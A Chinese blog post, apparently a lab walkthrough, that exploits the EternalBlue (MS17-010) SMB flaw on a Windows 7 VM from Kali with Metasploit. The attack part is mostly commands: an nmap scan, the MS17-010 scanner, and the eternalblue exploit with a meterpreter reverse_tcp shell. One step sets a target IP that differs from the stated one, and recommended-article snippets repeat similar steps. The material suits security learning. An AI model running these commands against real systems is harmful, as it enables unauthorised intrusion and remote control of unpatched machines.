Kali 使用永恒之蓝Eternalblue攻击win7

最新推荐文章于 2024-05-12 05:01:43 发布
最新推荐文章于 2024-05-12 05:01:43 发布
阅读量5.7k 收藏 21
点赞数 3
分类专栏： 网络渗透 文章标签： web安全 渗透测试 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/void_zk/article/details/122661968
版权

kali Eternalblue to win7

 实验准备
攻击机： kali , IP: 192.168.226.130
靶机：win7 , IP: 192.168.226.128
 实验过程
 关闭win7防火墙，开放445,139端口
 扫描以下，查看端口情况
$ sudo nmap -sV -A -O 192.168.226.128
 启动msfconsole
$ msfconsole

在这里插入图片描述

 使用auxiliary/scanner/smb/smb_ms17_010监测ms17_010是否可用
$ use auxiliary/scanner/smb/smb_ms17_010

在这里插入图片描述

主机很有可能具有ms17-010的漏洞，可攻击

 开始攻击
$ use exploit/windows/smb/ms17_010_eternalblue
$ set RHOST 192.168.226.129 //靶机
$ set LHOST 192.168.226.130 // 攻击机
$ set payload windows/x64/meterpreter/reverse_tcp
$run

 成功
在这里插入图片描述
欢迎交流指正！

23hours
关注
  • 3
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
渗透基础笔记+作业（永恒之蓝复现）
09-08
复现环境通常包括攻击机（如Kali Linux）和靶机（如Windows 7）。工具如Nmap用于网络扫描，Metasploit则作为渗透框架，利用已知漏洞进行攻击。在复现过程中，测试者会模拟攻击流程，以理解漏洞的利用方式和防范措施...
关于win7新系统不能永恒之蓝渗透和 Meterpreter出现stdapi_sys_power_exitwindows的一些小见解
qq_47077502的博客
04-11 1714
解决新win7不能永恒之蓝扫描和Meterpreter不能重启和关机的问题
kali机利用永恒之蓝攻击win7靶机
qq_52731059的博客
11-23 839
使用0模块，用set rhost 命令设置好目标地址，show options命令查看配置信息，配置完成后使用run命令开始攻击。1、获取win7的IP地址，打开命令窗口，输入ipconfig获取IP地址。其中有0、1、2、3、4五个选项，分别代表不同的功能。可以看见存在445端口开放，这就是本次用来攻击的端口。通过扫描发现存在可利用的漏洞，继续使用0模块进行攻击。3、使用kali进入msfconsole工具。5、用3模块查找是否存在可利用的漏洞。4、查找ms7-010漏洞工具。6、使用0模块进行攻击。
2024年网络安全最新Kali 永恒之蓝（最基础的攻击指令），深入解析网络安全核心组件和应用框架
2401_84520118的博客
05-12 954
网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化资料的朋友，可以点击这里获取一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！使用模块后就是设置模块了，使用命令来查看当前模块的设置： 设置攻击的目标：继续使用show options来查看模块设置，其中比较关键的就是攻击的载核，如果与自己需
漏洞复现永恒之蓝MS-17010+修复
BROTHERYY的博客
08-20 1656
攻击机：192.168.20.101 靶机：192.168.20.103 使用msf的扫描模块，扫描靶机是否存在漏洞 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.20.103 run 使用攻击载荷进行攻击 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.20.10
网安尝鲜，永恒之蓝攻击Win7演示（超详细）
qq_64545050的博客
09-06 2471
使用kali 2022.3，Windows7 x64旗舰版进行攻击演示
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
热门推荐
m0_65712192的博客
11-01 3万+
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
永恒之蓝测试.docx
07-23
"Kali 永恒之蓝测试指南" 在这篇文章中，我们将详细介绍 Kali Linux 中的永恒之蓝测试步骤，适合新手观看。永恒之蓝是 Windows 操作系统中的一个漏洞，通过这个漏洞，可以远程控制目标主机。 Nmap 扫描 首先，...
永恒之蓝配置Windows7
10-24
本文将讲解如何使用 Kali Linux 中的 MSF-Metasploit 来利用永恒之蓝漏洞入侵 Windows7 系统。 一、准备工作 在开始之前，我们需要准备好攻击机和靶机。攻击机使用 Kali Linux 操作系统，IP 地址为 192.168.1.10，...
永恒之蓝复现kaliwin7
最新发布
07-19
### 恒之蓝漏洞复现：Kali Linux 攻击 Windows 7 #### 实验背景及目的 “永恒之蓝”（EternalBlue）是一种针对 Windows 操作系统的严重漏洞，该漏洞允许攻击者在无需用户交互的情况下实现远程代码执行。本次实验...
网络安全入门第一课—永恒之蓝（ms17-010）
m0_56088051的博客
07-13 6027
一、永恒之蓝（Eternal Blue）永恒之蓝相关病毒，其实是利用了微软的MS17-010漏洞。MS17-010是Windows系统一个底层服务的漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序二、实验环境。
msf永恒之蓝漏洞复现及问题解决
weixin_53253733的博客
02-12 6918
IP kali：192.168100.101 Windows7：192.168.100.91 Windows系统需要关闭防火墙，尤其是公用网络设置应该关闭 开始 1，查找永恒之蓝漏洞 search ms17_010 show options：展现需要设置的模块 使用漏洞 注：RHOST：靶机IP地址，即为Windows7的IP地址，set RHOST 192.168.100.91 RPORT：靶机端口号， 默认445端口，不必设置 LHOST：攻击机I...
记录一次永恒之蓝（ms17-010）漏洞攻击 【后附msf常用命令】
向安全进发的博客
03-28 3882
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。#执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本，常用的有。
kali linux使用Metasploit进行会话管理
m0_74388365的博客
05-31 556
Metasploit是一个非常方便快捷的工具，可以通过简短的命令来快捷与对方的电脑进行会话建立与操控来达到自己想要的目的，看起来有点麻烦，但是熟悉流程之后却非常便利，还需要我们多多练习达到熟练掌握这门技术。
记一次MSF永恒之蓝入侵win7系统实验
weixin_62297109的博客
12-31 2829
MSF是渗透安全人员非常重要的，必须了解的一个软件，这次实验记录一些msf最基础最简单的用法和命令，希望对大家入门有所帮助
MS17-010漏洞攻击与防御（利用永恒之蓝攻击Win7系统）
hmysn的博客
12-22 2453
永恒之蓝漏洞攻击
通过Kali利用永恒之蓝漏洞目标主机shell，并进行部分后渗透操作
weixin_60182338的博客
03-17 2822
渗透测试仅用于个人的学习以提升能力，不能用于非法的恶意攻击
内网渗透-利用frp代理流量后msf攻击内网永恒之蓝漏洞（ms17-010）-永恒之蓝利用失败的原因
weixin_42109829的博客
01-18 1万+
0x01 前言 当我们进内网的的时候，会遇到永恒之蓝这种漏洞，之前不懂代理的时候，总是不找到怎么利用，等到我学会了流量代理，frp等工具，才慢慢理解各种协议，各种流量方式的通信方式。 初级–》frp代理了解 进阶–》多层代理 0x02 靶场环境 靶场搭建 0x03 frp简易配置 frp 的配置分为两部分，一个是在公网的vps 运行的 frps 程序 一个是在内网运行的frpc 程序， 下载地址 https://github.com/fatedier/frp/releases/tag/v0.38.0 一、
win7永恒之蓝版本
09-04
根据提供的引用内容，"永恒之蓝"是一种黑客工具，利用Windows系统的SMB漏洞可以获取系统的最高权限。 这个工具适用于Windows 10 1607周年更新版32/64位和Windows Server 2016 32/64位。 然而，根据我的资料，"永恒之蓝"并不是Win7的一个版本。它是一种工具，可以用于攻击运行不同版本的Windows操作系统。因此，没有特定的"Win7永恒之蓝"版本存在。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [使用ms17-010对win7进行渗透（445永恒之蓝）](https://blog.csdn.net/weixin_30783629/article/details/96569866)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [Windows 更新永恒之蓝 补丁包方法](https://blog.csdn.net/ahbbxll007/article/details/126540680)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值